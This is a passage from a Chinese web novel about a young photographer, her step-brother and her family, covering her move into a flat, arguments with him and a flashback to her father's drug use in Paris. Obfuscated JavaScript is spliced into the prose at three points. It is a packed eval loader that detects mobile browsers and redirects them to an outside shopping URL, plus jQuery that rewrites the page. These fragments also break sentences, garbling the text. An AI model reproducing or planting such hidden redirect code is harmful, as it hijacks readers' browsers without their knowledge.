林知睿耸耸肩,随口道:“我的朋友,你不知道不是很正常吗?” 林韵瞪直眼睛,“你……” 邹诚拉住林韵,“先听睿睿往下说。” 余明远:“工作室在哪里?过去方便吗?” “有点距离,”林知睿说,“在江月路。” “那开车得一个多小时。”邹诚说。 “她没有驾照。”余明远说。 “有件事我想和你们商量,”林知睿放下筷子,“我打算在工作室附近租房。” “我不同意。”林韵说。 餐桌上安静下来。 “我不是要搬走,只是偶尔晚了住而已。” “是啊,太晚回来不安全。”邹诚附和。 “我保证,”林知睿表情认真,“真是只是偶尔住,不是要搬走。” “我不同意你去工作室。” “为什么?” “林知睿,你对你的未来有过规划吗?就不说长远的了,说说现在吧,现在你对自己的学业和职业有过任何思考吗?” “有啊。” “不要告诉我你用你二十二年的人生阅历,思考出的结果是去一个或许连营业执照都没有,给人拍拍写真集的小作坊?” “怎么就小作坊了?”林知睿怒极反笑,“您能别仗着四十七年的人生阅历随意贬低别人的事业吗?” “怎么又吵起来了。”邹诚头都大了。 这母女俩就是针尖对麦芒,谁也不服谁,没几句话就要吵起来。 “你听听她说的什么话!”林韵的脸色很难看,“念了四年大学,错过国内研究生报名,就为了去照相馆给人拍照?” 林知睿嘟哝:“是摄影工作室。” 林韵的手指狠狠戳她脑门上,“林知睿!” 林知睿缩了缩脖子。 “林姨,医生说您情绪不能太激动。” “是啊,有什么事好好说嘛,你动什么手啊!”邹诚说。 林韵看看余明远,再看看邹诚,冷笑一声。 “我连碰都没碰着她一下,你们就急着护了啊!我算是明白了,她变得这么任性骄纵,全是你们父子俩的功劳!” “妈妈你别妄自菲薄,我是你生的,你的遗传基因功不可没。” “你再说一遍!” 一顿早餐,变成了辩论赛。 拉锯了很久,最后达成一致。 林知睿可以去摄影工作室,也可以在那附近租房,但她必须参加秋季研究生报名。 邹诚说房子他来找,林知睿一个小姑娘独自住,周围环境和小区安保不能随意。 但他找了几套都不满意,知道余明远有朋友做房地产,就把找房子的事交给了他。 在余明远找房子期间,林知睿朋友那个摄影工作室还在装修,趁有时间她去学了驾照。 天天一大早天没亮就出去练车。 余明远知道她下午才有空,上午忙完公司的事连午饭都没顾上吃,直接开车接她去看房子。 回到家,没看见人,许阿姨说睿睿出去跑步了。 林知睿是在法国留学时养成的跑步习惯。 运动既能增强体魄,还能让人拥有充沛的精力去工作和学习。 林知睿穿着专业的跑步服,戴着白色遮阳帽,在城市道路上专门划出来的跑道上跑步。 林知睿从来都不是柔弱无骨的人,她肌肉线条流畅,跑步姿势专业,步子迈得大,尤显得一双腿长得逆天。 下一个路口红灯,她慢慢降下速度。 后面有个同样穿着跑步服的男人随之停下,最后两人并肩走在一起。 “明天有个半马业余赛,有兴趣吗?” “明天啊?明天不行,我要去学车,下周就小路考了,最近得天天练车。” “我朋友在远郊有个赛车场,下午我带你去练练?” “我现在的技术只配在驾校称王称霸。” “那就等你考完……” 两人边聊边停在斑马线前,等着过马路。 林知睿的目光漫无目地扫过前面街道。 忽然,视线被定在某道身影上。 沿街的梧桐连绵成阴,阳光穿透宽大的叶子,在街道上投下斑驳光影。 他从公司过来,身上穿着衬衫西裤,单手插袋。 挺拔修长地站在光影里,有种老上海电影画报的质感。 经过他身边的行人总忍不住看上一眼。 林知睿觉得他应该看见自己了。 隔着车水马龙,遥遥相望。 直到红灯跳转绿灯,她穿过马路,走向前。 “你怎么会在这里?” 余明远迈步走过去,“随便转转。” “哦。” “今天不上班吗?”林知睿问。 “下午请假了。”余明远说。 余明远虽和妹妹说着话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许阿姨看见林知睿拿起削皮刀赶紧叫住。 许阿姨今天中午打算做捏茄子,很适合夏天吃的开胃小菜。 洗干净的紫皮茄子一根根放在篮子里。 “我会弄这个。” 林知睿搬了张小板凳坐下,开始削茄子皮。 削皮刀锋利,她稍一用力就连皮带肉削下一大块,看得许阿姨直心疼。 许阿姨:“别在这里捣乱了,出去坐着等吃饭就行。” 余明远放下正在处理的虾,洗干净手,来到林知睿身边。 “让她弄吧,也该学学了,”余明远低头看了一会儿,“别太用力,再削下去,三分之一都被你削没了。” 林知睿刚要反驳哪有三分之一,手背就被人按住。 他站在她身后,弯下腰,双手从她身后环向前,同时握住她两只手,控制她使用削皮刀。 “也不能太轻皮容易断,这个力道差不多。” 他的声音就在她耳边,因为注意力在茄子上,没发觉自己靠她有多近,她的鬓角发丝被他呼出的气息拂动,搔在他面颊上。 “有感觉了吗?” “感觉……什么感觉?” 林知睿感觉自己的脸烧起来了,热意蔓延到心口,连带着心错乱地跳了两下。 余明远垂眸,目光落在妹妹发红的耳朵上,只一秒便移开。 “当然是用削皮刀的力度。” 林知睿低垂着脑袋,小声回。 “感觉不够深刻。” “自己慢慢找感觉。” 余明远直起身,走回到水池边。 许阿姨又唠唠叨叨地说起了周围这些邻居的事,提到夏家孙子,突然换了种口气。 余明远随口问:“夏家孙子怎么了?” “夏家那孙子比睿睿大两岁,睿睿读初三时他高二,那么小就谈女朋友,还把人家小姑娘肚子搞大了。女方父母吵到夏家,要他们家负责,当时据说双方签了字据,夏家承诺两人成年后就结婚。” “那结婚了吗?”林知睿问。 “结什么婚?”许阿姨直摇头,“这些年,找上门来要求负责的可不止一个两个。” 许阿姨郑重地对林知睿说:“你可别和这种人接触啊,离他越远越好。” 吃完饭,余明远开车带林知睿去看房。 一上车,余明远就看到林知睿似笑非笑地看着自己。 “怎么了?” “你直接告诉我夏晖是个人渣不就得了,绕那么大个圈子不累吗?” 6. 别碰我 “绕什么圈子?” “余明远,我二十二了,不是三岁。” 余明远笑了下。 “你看出他对我有意思了?” 林知睿看到她哥脸上的笑容一点点褪去。 沉默片刻,余明远问:“所以你回应了吗?” 这人还真是什么都逃不过他的眼睛。 她和夏晖是一次夜跑认识的,得知是邻居后两人互加了微信。 夏晖确实一直在约她。 “当然没有,”林知睿翻了个白眼,“我们才认识多久,你想什么呢!” 余明远不再说什么,开车上路。 路上两人没再说话,更没提夏晖。 林知睿偏头看窗外生闷气。 他通过许阿姨的嘴提醒,不,应该是警告她远离夏晖。 她可以理解为这是他作为哥哥的关心。 可她并不认可这种方式。 他总是这样,从不当面告诉她什么事不能做,什么人要远离,因为他怕和她起冲突,怕妹妹生气迁怒自己,怕父母长辈责怪他。 所以他在暗地里破坏。 夏晖是这样,过去的很多事也是如此。 他给外人的形象,一直是无条件宠爱着妹妹的好哥哥。 可林知睿很清楚,他有多喜欢对她的事指手画脚,横加干涉。 到了地方,余明远把车停进车位,没熄火,车里依然打着空调。 他解开安全带,侧过身面对她,过了很久才开口:“我不是阻止你交朋友。” “他不是朋友,我已经把他微信拉黑了。” 余明远点点头,表示满意。 林知睿突然转过身,直直地看进他眼睛里。 “我不喜欢你做这些事。” 就好像她有多么愚蠢,连一个居心不良的人渣都看不清。 可就算没有他的“提醒”,她也不会和一个只是在跑步时认识的人有什么发展。 说到底,他还是不相信她,觉得她骄傲自负又愚蠢。 余明远低声道:“对不起。” 加上她刚回国,两人见第一面时他说的那句“抱歉”,这已经是他第二次对她道歉。 她已经分不清他究竟是在为此刻干涉她交朋友,还是四年前他拒绝她而愧疚了。 可无论因为什么,她都不想去深究。 都过去了,他不用说抱歉,她也不想听。 林知睿拉开车门下车,余明远跟着下车。 余明远选了几套符合要求的房子,在带林知睿去看房之前,他已经全都看过,现在带她去看的是他自己最满意的。 不管林知睿对余明远意见有多大,对他挑房子的眼光是非常认可的。 果然是建筑师,屋内的软硬装潢很符合她的喜好。 “考虑到你一个人住,两室的空间够用了,小区周边的配套成熟,覆盖了医院商场和地铁。” “只有两个房间吗?” “一个主卧,一个工作室,”余明远问,“还有其他需求吗?” “万一我有朋友来住呢?” 余明远沉默了一下。 “那再去看看其他几套?” “不用了,就这里吧,”林知睿一屁股坐在沙发上,舒展开双臂,歪头冲余明远眨了眨眼睛,“反正那几套房子会有这样、那样的缺点,最后还是会选这里。” 余明远张了张嘴,但最后什么也没说。 这套房子里的家电齐全,也都很新,但余明远还是换了全新的。 包括浴室里的淋浴喷头,智能马桶垫,地毯也全换了。 林知睿说他太夸张,她又不像他是个洁癖。 余明远没解释,发了几篇吐槽出租屋的帖子给她,什么淋浴喷头不出水打开看发现里面被黄黄的东西堵住了…… 看过帖子,林知睿没再阻止余明远发挥他的洁癖。 房子准备好,林知睿也开始在朋友工作室工作。 工作室虽然刚起步,但这个朋友和很多明星有过合作,在圈子里小有名气,所以林知睿的工作很快就被排满了。 白天拍片,晚上修图,每天都熬到很晚。 工作的半个月里,她一直住在江月路的房子,没再回过家。 邹诚来过两次,带了许阿姨特地给她煲的汤,但两次都没见着她人,把东西放进冰箱后打电话嘱咐她多注意身体。 林总和余明远没来过,但余明远会每天给她打电话,就算她忙着不接,他也会发消息。 也没什么重要的事,无非问吃没吃饭,到没到家。 她一开始只是敷衍两句,通常连着几个消息都是“嗯”“哦”“好”,后来大概是习惯了,慢慢的话多起来。 哪天遇上不顺心的事还会主动给他打电话抱怨。 就这么过了半个月,工作室步入正轨,这天接到某个大单,大家嚷嚷着要去庆祝。 在众人讨论去哪里high时,林知睿收拾东西打算离开。 “林老师,你不去吗?”有人问。 “我不去了,还得回去修片。”林知睿背上相机包和其他东西。 “啊啊啊你不去就没意思了啊!” “就是就是。” “你得给大家一个喝醉了表白的机会啊!” 林知睿笑着说:“真不去了,你们玩得开心点。” 说完林知睿就离开了。 林知睿不是有意扫兴,她和工作室的同事一直相处得很好,只是她手里有个急活儿,明天就要交稿,她酒量很一般,怕喝酒误事。 回到家随便点了个外卖吃完,林知睿就一头扎进工作中。 没想到快十一点时,几个同事突然过来了。 他们在酒吧high完,依然没尽兴,又想起林知睿没参加,干脆带着酒来找她。 “林老师我们不打扰你工作,喏,给你带了咖啡,提神醒脑。” “哇,林老师你家装修得好好看!” “这沙发一看就很贵,弹性这么好,地毯也好舒服……” 伸手不打笑脸人,林知睿也不好赶人。 她无奈摇头,“好吧,再给我二十分钟。” 二十分钟后,林知睿赶完工作,合上电脑,叫的烧烤小龙虾外卖正好也到了。 喝到兴头上,有人提议让老板艾瑞克一起过来,被林知睿阻止了。 “林老师你和老板不是好友吗?让他过来没事吧?” “这么晚了叫人家过来不太好吧?” “艾瑞克不会在乎这些。” 但林知睿还是拒绝了,“不行,我暂时没有接待公司高层的打算。” 众人笑起来,嬉闹中也就没人再提这件事。 同事们离开时已经凌晨三点。 他们临走前简单帮她收拾了一下。 林知睿喝得晕乎乎的,匆匆洗了个澡就钻进卧室睡觉。 第二天林知睿醒过来,发现没有想象中难受,她酒量一般,又很久没喝酒了,原以为宿醉醒来会难受。 她还记得自己第一次喝醉,是和余明远表白失败后。 那天她在便利店里买了几瓶小瓶装的洋酒。 她独自坐在滨江大道。 夜晚的外滩,游人如织,热闹繁华,江对岸的陆家嘴恢弘气派,灯光璀璨。 没人发现她一个人蹲在路边哭。 她不知道余明远是怎么找到自己的,她其实没怎么醉,借着酒劲打他的那一巴掌是故意的。 后来捧住他的脸亲上去时脑子已经不太清醒了。 她当然没亲到他的脸,他不会允许她这么做。 他背着她走在步行街上时,她张嘴在他后脖上狠狠咬了一口。 她恶声恶气地说:“余明远你不让我亲,那我就咬你。” 咸涩的泪水不断落在被咬破的伤口上。 余明远因为疼痛收紧了抓着她腿的手臂。 他始终一声不吭,用无尽的沉默抵御她的愤怒和不甘。 没人知道她去法国的真正原因,没人知道十八岁那年她疯狂炙热的爱情,也没人知道,那场她为他宿醉的酒,醒来后有多难受。 四年了,是时候该醒了。 林知睿从床上坐起来,瞥见床头柜上的水杯,还有拆开了的解酒药。 她不记得昨晚自己吃解酒药了…… 打开卧室的门,一眼就看到阳台上背对着自己的身影。 余明打完电话回到客厅,林知睿已经坐在餐桌上吃早餐了。 他在她对面坐下,回了几条工作上的消息。 林知睿随口问:“今天不上班吗?” 余明远放下手机,“请了半天假。” “有事吗?”问完她才意识到,这半天假多数是为自己请的。 余明远倒了杯温水放在林知睿面前,温声问:“头还疼吗?” 林知睿摇摇头,“不疼,我喝酒头不疼。” “是吗?”余明远不置可否。 “是啊,不吃解酒药也没关系,”林知睿低着头,心虚道,“一点点头晕而已。” “你知道我什么时候来你这里的吗?”余明远突然问。 “不是早上吗?” 录指纹时余明远把自己的也录进去了。 林知睿知道这一定是林总对他下达的命令。 想搬出去可以,但必须在林总监视之下。 林知睿没阻止,反正以她哥哥的自觉和君子做派,就算他能随时随地进这道门,也不会做任何逾矩的事。 当初她主动献吻他都无动于衷,现在更不可能半夜偷溜到她房间对她欲行不轨。 余明远拿起手机点了两下,翻转屏幕给她看,“你在凌晨四点给我打的电话。” “我给你打电话了?”林知睿惊讶道,“我怎么什么都想不起来了!” “也许是不小心摁到的?” 余明远给她找台阶下,但这并不能安慰到她,她不记得给他打过电话就说明她昨晚断片了! 她、断、片、了! 断片意味着她可能对他说了或者做了什么奇怪的事! 四年前还能当她年少不懂事,一时昏了头,连乱/伦的事也敢做。 但四年之后,她已经是个成熟冷静有自制力的成年人了,可以泰然自若地和他同桌吃饭闲聊。 然而昨天晚上,她很可能将自己伪装的潇洒和满不在乎统统推翻! 在他眼里又变回四年前那个无理取闹,撒泼打滚着要和他在一起的烦人妹妹! 林知睿强装镇定,眼神却出卖了她,一顿早饭,不知偷偷瞄了他几回。 最后余明远不忍心,告诉她昨晚她什么出格的事也没做,给他打完电话就睡着了,解酒药还是他把她叫醒吃的。 “我当然记得自己做过什么,我又没喝多。”她这么说。 余明远没拆穿她。 “学校看得怎么样?”余明远问,“决定好交大了吗?” 林知睿没说话,低头吃东西。 “还有四个月,复习时间紧张了点,但也别给自己太大压力。” 林知睿还是不说话。 “当然,”余明远看着她,“也不是非要交大,上海有很多优秀的考研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了拖鞋,刚才开冰箱时,林知睿发现冰箱里自己买的啤酒和RIO全都换成了矿泉水和不含气泡的果汁饮品。 “哦。” 林知睿已经习惯了她哥的洁癖和良好的饮食习惯,反正花他的钱,她没什么意见。 水流的“哗哗”声突然停止。 林知睿看着她哥把洗干净的碗筷放进消毒柜,然后再次响起水声。 他开始洗手,标准的五步洗手法,完全可以给幼儿园小朋友做洗手教学视频。 余明远洗完手,拿纸巾擦干,他没有离开水池,而是弯了点腰,手臂撑在水池边沿。 这个动作让他从脖子到后背陷下去一块,两边肩胛骨微微隆起,衬衫绷紧,肩膀宽阔如山脊。 “我说过不会阻止你交朋友,”他顿了顿,似乎在选择更温和的措辞,最后直起身,转过来面向她,“但我依然认为,你不应该在半夜时和一群人在私密的空间中相处,更何况他们之中的大部分人喝了酒。” 听懂他话里意思后,林知睿回过神。 “首先,这群人是我的同事,其次,这个私密的空间是我的家,最后——”她明显不快道,“我认为一个没有血缘关系的哥哥,在我睡着时没得到我的允许就进入我的私密空间,才是一种威胁!” 一口气说完这番话,林知睿将手里的酸奶捏扁重重扔进垃圾桶。 她离开厨房,在房间里晃了圈,看到床头柜上的解酒药又烦躁地离开了房间。 余明远从厨房出来时,林知睿正坐在沙发上,双手环膝,低头看着地毯发呆。 余明远走过去,在她身边坐下。 “林知睿,不要说气话,你知道我永远不会对你造成任何形式上的威胁。” 她说:“但你会羞辱我。” 余明远捏了捏眉心,“我没有。” “你有!”她大声控诉,“我接触夏晖是我没脑子识人不清,我晚上请人到家里喝酒是我放浪不检点,你敢说你不是这么想我的吗?” 余明远半站起身,去茶几上抽了两张纸巾想给妹妹擦眼泪,被她一把挡开了。 “别哭了,一会儿头又疼了。” 林知睿喝酒不头疼,但哭完,特别是大哭一场后头会疼,一刺一刺的疼,疼的厉害时只能吃芬必得缓解。 “听话。” 余明远管不了那么多,手臂环过林知睿肩膀,把她夹在自己怀里,强制给她擦眼泪。 林知睿怎么肯屈服? 两人在沙发上扭作一团,等到余明远发觉不对劲时,林知睿已经翻身跨坐在他腿上,手掌抵在他胸前。 她头发凌乱,红着眼圈控诉:“你别碰我!” “林知睿……” “也别和我说话!” 林知睿在气头上,她此刻唯一的念头是制服余明远,不管以何种方式。 她要让他知道,她不允许他威胁她,羞辱她,对她高高在上地审判。 所以她没有发现,自己光滑的大腿正摩擦着哥哥深色的西裤…… 余明远常年健身,刚才的打闹对他来说根本不算什么,连呼吸都不会受到丝毫影响。 可此时此刻,他呼吸粗重,胸膛不断起伏,大腿肌肉更是因为过分紧绷而变得麻木。 他缓了一口气,尽量冷静地说:“林知睿,从我腿上下去。” 7. 疼死了 怎么说呢? 林知睿对余明远的感情是复杂的。 她一开始恨他的出现,什么都要跟她抢,处处比她出风头,连林总养的萨摩耶也更喜欢围着他转。 但后来她又依赖上他。 从讨厌到习惯最后依赖的过程中,她虽叫他“哥”,但事实上她从没将他当做真正的兄长。 相遇那年她十二岁,已经有了性别意识,在班里女生们对某某男生好帅的谈论中,对异性的美丑有了自己的标准。 现在回过头来想想,第一眼看见余明远时她的不自在和后来的百般挑衅,有一部分原因就是因为他的样貌。 她没想到,这个即将成为她哥哥的人,比学校里最帅的男生还要帅。 她感到好奇、兴奋,她笨拙地用自己的方式引起他的注意,去试探他对自己的看法。 他也会觉得她漂亮吗?会因为每天见到她而高兴吗?对他来说,自己是特别的人吗? 何止是特别? 那段时间余明远把她宠上了天,哪怕她要吃他的肉也绝无二话,眼睛眨也不眨地割下身上最嫩的一块亲手喂到她嘴边。 怎能不沉溺? 英俊优秀的哥哥,只对她温柔细致,宠爱有加,拿一副真挚滚烫的心滋养着她。 那些年,林知睿迷失其中不可自拔。 直到某一天,她突然发现,他对自己的好不是永恒的,未来某一天,他会渐渐疏远她,将原本属于她的东西赋予他的女朋友,他的妻子。 当林知睿意识到这一点后,她平等地嫉妒每一个试图靠近并夺走余明远的“陆芷”。 她贪得无厌,她想要将他占为己有。 哪怕这么做是乱/伦。 “林知睿,从我腿上下去。” 余明远警告完,林知睿没有任何反应。 她垂着脑袋,长发盖住了脸,看不清表情。 原本抵在他胸口的手无力般下滑,身体随之前倾,将额头抵在了他胸口。 “哥,我头疼,”她说,“我要疼死了。” 余明远没有讽刺她“你看我说什么来着”。 他喂妹妹吃了芬必得,再把她抱到床上, 余明远站在床边,垂眸看着难受的妹妹。 她疼得连话都不想说,鬓角被冷汗打湿,脸色苍白,脆弱得仿佛一碰就碎。 “哥……”她在难受中唤他。 “嗯?” “你要走了吗?” 他低声问:“你要我走吗?” 她不说话,脸埋在蓬松的枕头里疼得哼哼。 房间里响起一道很轻的叹气声。 余明远挂掉助理电话,俯下身,双手撑在床沿,看着那颗毛茸茸的脑袋,轻声说:“我陪一会儿?” 林知睿扭了两下,让出点空间,闷声说:“那你靠过来一点。” 余明远坐在床头。 “再近一点。” “还要再近。” 最后余明远半躺半靠在床头,林知睿抓过他一条手臂,侧头枕在上面。 她能清晰地感受到男人衬衫包裹下温热紧实的小臂肌肉,强有力的脉搏跳动,还有他身上独有的味道。 她怎么会以为自己只是出去玩了四天呢? 是四年,一千多个日日夜夜。 当初她离开时,他身上有着未褪去的少年青涩和青年人才刚显露的锋芒。 那时他就已经让她移不开目光了,更何况现在的他,完全成为了一个成熟稳重,非常有魅力的男性。 可这个人是她的兄长。 在他眼里,她只是妹妹。 林知睿,四年了,一千多天的逃避该结束了。 药效起来后,林知睿的头疼好多了,余明远见她没事了才离开。 后来几天两人没再见过面。 余明远每天的电话消息也没之前频繁。 林知睿从邹诚那里打听到,余明远去了北京出差。 工作室最近招了两个美院的实习生专门修片,盛夏的午后太阳毒辣,出不了外景。 下午就成了林知睿的空闲时间。 这天邹诚在工作室附近的大学开交流会,结束后约林知睿出来喝咖啡。 阳光暴晒下,热浪滚滚,路上人迹罕至。 两人坐在咖啡厅。 林知睿不喝咖啡,点了杯黑加仑,用吸管小口小口地喝。 邹诚刚提到余明远去北京出差,儿子的电话就打来了。 父子俩聊了几句,被林知睿一个喷嚏打断。 余明远停下话头,问邹诚是不是和睿睿在一起。 “嗯,在呢,你等等——” 邹诚把手机递给林知睿,却被她摆手拒绝。 邹诚只好收回手机,刚贴回耳边就听电话那头的余明远说:“爸,你把电话给她,我和她说点事。” “你哥找你。”邹诚把手机重新递过去。 林知睿无奈接过,懒洋洋开口:“嗯?” 电话那头余明远轻笑一声,“嗯什么?” 林知睿莫名其妙,“什么嗯什么?” “没喝咖啡吧?”余明远问。 “没喝。” “今天回家吗?” “不回,晚上有个夜景的拍摄。” “晚上几点?” “七点。” 电话那头沉默一阵。 安静中,林知睿听到远远飘来的古筝曲。 她主动问:“你在外面吗?” “嗯,有个应酬。” 林知睿总算明白余明远奇怪在哪儿了。 “你喝酒了?喝醉了吗?” “当然没有,”余明远笑起来,“我酒量还算不错。” 虽然没醉,但几个分包老板挨个敬酒,他喝了不少。 此时站在包厢外的长廊上,低头看池子里游来游去的锦鲤,听着包房里传来的古筝曲,嘴边的笑窝无意识地深陷。 刚才看到穿着汉服弹古筝的女生,余明远就想起林知睿来。 林知睿学过古筝,小学四年级就考完了十级,她画画也很出色,素描水彩国画的考级证书摆满了林总的书房,初中第一次拿摄影奖项,高中代表市里参加数学竞赛。 你看,她虽然被宠坏了,但她聪明努力又上进,她值得被所有人宠爱。 也值得被奖励。 喝酒带来的一点晕眩感,其实挺舒服,他轻声问:“想要什么,我给你带回来?” 林知睿吐槽道:“又不是去国外出差,能带什么?” “上次你说喜欢林姨新买的包,这里离SKP很近,想要什么颜色?” 林知睿脱口而出:“哪有人去北京出差带香奈儿的包回来当特产的?上海没有吗?” 余明远好脾气道:“那回上海买?” “还说没喝醉?”林知睿乐了,“你现在回去继续喝,除了香奈儿我兴许还能拥有一匹马。” 余明远笑着问:“那匹马不会叫爱马仕吧?” “真聪明。” 林知睿对名牌没什么执念,家里有一个房间专门用来摆放林总的包包。 林总告诉她,奢侈品和车一样,更多的是身份和实力的具象化展示,用来给人镀金的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220395|151192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就像上战场时身披的铠甲,铠甲越威武,越精良,获胜的概率才越大。 那是林总的战场不是她的,她喜欢透过相机取景框去看更纯粹的世界。 她的父母和家庭,教给她更多的是精神层次的富足。 可是他的哥哥,却想用金钱对她进行弥补。 富贵不能淫啊林知睿。 林知睿:“我能对你提点小小的要求吗?” “什么要求?”他放轻呼吸,认真地聆听。 “我不要林总的包,”被黑加仑汁水浸染过的嗓子酸酸甜甜,“我要别的款式。” 就让富贵淫死我吧! 两人不知不觉聊了很久,直到邹诚的手机电量发出警告。 邹诚拿回手机后欣慰道:“看到你们兄妹俩和好我就放心了。” 林知睿怔了怔,“和好?” 邹诚突然变得严肃,“你以为我和你妈妈不知道你们之间的事?” 林知睿避开邹诚的目光,咽了咽口水,“我们之间的……什么事?” “睿睿,明远是真心把你当妹妹,他经历过的那些事,让他比别人更在乎亲情,在乎你。所以无论他曾经对你做过什么,出发点是好的。” “我知道,你高考那年突然要去法国,除了你爸爸之外,也有明远的原因。” 林知睿的心随着邹诚这几句话高高扬起又重重掉落! 邹诚知道了? 所以林总也知道了? 知道她爱上自己的兄长,知道他明明对她只是兄妹之情却上赶着死缠烂打。 知道她因为羞愤和伤心一走四年…… 林知睿手脚冰冷,嘴唇控制不住地在发抖。 “邹叔,我……” “在同意你去法国前,你父母谈过话,你妈妈这才知道你有了喜欢的人,但对方没有接受你,”邹诚满脸心疼,“你爸爸说你很痛苦,你尝试过很多方法排解,可最终都失败了,所以你才决定离开。” “那段时间你和明远你们之间非常不正常,你对他的敌意太明显了,明远对你似乎也有很深的愧疚。我和你妈妈猜测,应该是明远发现了什么,然后找到那个男孩,迫使你们无法在一起。” 在父母眼里,余明远把林知睿当亲妹妹疼爱,她当时才高中毕业,刚满十八岁,他怎么能允许那些“夏晖”靠近诱骗自己的妹妹呢? “我能理解你,才刚萌芽的初恋就这么被哥哥亲手斩断,所以这四年你对他那么冷淡,甚至不闻不问。” 林知睿发冷的手脚渐渐回温。 她暗地里长长舒出一口气,佯装大度道:“都过去了,我早就原谅他了。” “是啊,都过去了,你们都长大了,很多事情的看法比过去成熟,能互相体谅对方。”邹诚欣慰道,“你们能和好,我和你妈妈就放心了。” “邹叔,”林知睿回过味儿来,“您今天来找我,又赶上我哥打电话,合着唱的是出双簧?” “不至于不至于,”邹诚笑了笑,“明远打来电话纯粹是个意外,我今天其实是找你聊别的事。” “开解完我和哥的心结,您不会还要继续开解我和林总的吧?” 邹诚笑起来,“我又不是老娘舅。” 林知睿竖起大拇指。 “您比老娘舅厉害,调解家庭矛盾一流。” 邹诚笑出声。 “邹叔,您找我到底什么事?” 邹诚收起笑容,没有马上开口,他端起咖啡喝了几口,喝完又沉默了一阵才说:“你爸爸给我打电话了……” 邹诚话音未落,林知睿的脸色就变了。 8. 太可笑 邹诚试探地叫她:“睿睿……” 林知睿不咸不淡地问:“他说什么了?” “他想和你聊聊。” 林知睿没说话。 “他找过你妈妈,但他们似乎谈得不愉快。” 何止是不愉快。 林知睿觉得他们肯定大吵了一架。 “你想见他吗?”邹诚小心翼翼道,“如果你不愿意单独和他见面,我可以陪你一起去。” 林知睿抬头,错愕道:“他回国了?” “嗯。” 又是长久的沉默。 “睿睿?” “邹叔,”林知睿低声说,“我不想见他。” 当年她有多想去法国和江奕一起生活,现在就有多后悔当初的决定。 她绝对不会想到,有一天,她深爱的、崇拜的,她的艺术家父亲,会让她见识到那么不堪的一面。 事情虽然已经过去很久,但她永远不会忘了那天,她推开画室的门,所看到的一切。 那是林知睿刚到法国过的第一个圣诞节。 圣诞夜,学校组织了盛大的节日派对,在得知有人会在派对上对自己高调表白后她临时决定不参加。 那天她去了老佛爷,给家人买了很多礼物。 原本没想给余明远买,但柜姐左手一条藏青波尔卡圆点,右手天蓝佩斯利花纹,不停说好看。 最后两条都拿下。 她给江奕带了瓶红酒,打算晚上找个有情调的餐厅和她爸小酌一杯。 江奕在特伦纳有间画廊。 林知睿抱着红酒,走在化雪后湿泞的街道上。 巴黎的冬天很冷,她穿着厚厚的冬装,边走边给她爸爸发消息,说自己正在过来,让他为自己准备一杯热的苹果酒驱寒。 画廊的门关着,林知睿给江奕打电话,打了两个他都没接,她绕到画廊后门,她知道打扫卫生的阿姨有时会忘了关后门。 后门果然开着。 林知睿走进画廊,偌大的展厅里空荡荡的,没有人,也没开灯。 节前画廊会提前结束营业,父女俩打算过几天去瑞士滑雪,她爸爸说会带她去当初他和林总度蜜月的小镇。 林知睿为此满心期待,买了一整套昂贵的滑雪装备。 楼上传来一阵动静。 林知睿熟门熟路地上楼。 画廊的一楼是展厅,二楼是江奕的工作室。 一到二楼,林知睿就闻到一股奇怪的味道,像是什么植物燃烧后的臭味。 林知睿站在工作室外,握住门把的手突然顿住。 她终于想起曾经在哪里闻到过这种味道。 在意识到这是什么后,她僵在了原地,彻骨的寒意瞬间蔓延全身! 不知过了多久,身体里的血液才慢慢回流,在她试着挪动脚转身时,面前的门毫无征兆地被打开。 林知睿在开门的刹那看到了门后的情形。 其实听到里面的声音时她已经猜到了些什么,可她的想象远远没有现实看到的冲击巨大。 她脑子一片空白,只觉得天旋地转,什么都看不清,什么都是模糊一片。 林知睿逃也似地离开了画廊。 那瓶红酒不知道砸碎在了那里,她在巴黎街头不断跑,不断跑。 身后的画廊张着血盆大口,她只要跑慢一点就会被吞噬。 直到再也跑不动,最后蹲在路边,吐了个昏天暗地。 有人路过看到,好心地问询她有没有事。 她除了摇头,没法开口说一个字。 她双手环住自己,不知是因为冷还是哭泣,整个人止不住地颤抖。 她是那样的伤心难过,这么多年她参照父亲江奕构建的内心世界在这一刻轰然倒塌。 圣诞夜,林知睿在父亲画廊的工作室外闻到了大/麻的味道,她会知道这是大/麻,是因为她曾差点被吸high的流浪汉攻击。 那时她吓坏了,江奕推了大大小小工作陪了她很久,她才缓过来。 这件事林知睿一直不敢告诉林总,怕她知道后不同意让她继续留在法国。 林知睿怎么会想到,有一天他的父亲会吸食这种自己女儿最厌恶痛恨的东西! 而工作室里的那一幕,更是让她怀疑自己出现了幻觉。 那些赤裸的男女是幻觉,那些交/媾的身体是幻觉,那些放浪的叫喊是幻觉。 逃离画廊后,林知睿没回家。 她不知道自己跑掉后,江奕有没有找她,她把手机关机,随便找了家酒店开了间房。 后半夜她发起高烧,人烧得迷迷糊糊,第二天超时没退房,才被酒店人员发现。 她被送去了医院,她当时烧得人都不清醒了,医生怕出事,让她叫家人过来。 她不可能找江奕,于是只能给国内打电话。 林韵一接到电话就和邹诚赶到了巴黎,他们在医院照顾了林知睿两天。 她出院后,重新给她安排了新的住处。 林知睿以为发生这样的事,林总肯定要逼自己回国,但事实上林总只字未提回国的事,也没提画廊发生的事。 那几天林知睿受到了林总无微不至的照顾。 事情刚发生时,林知睿觉得天都塌了,但她并非脆弱的人,巨大的震惊过后,她接受了现实,接受了自己所看到的一切,接受她的父亲。 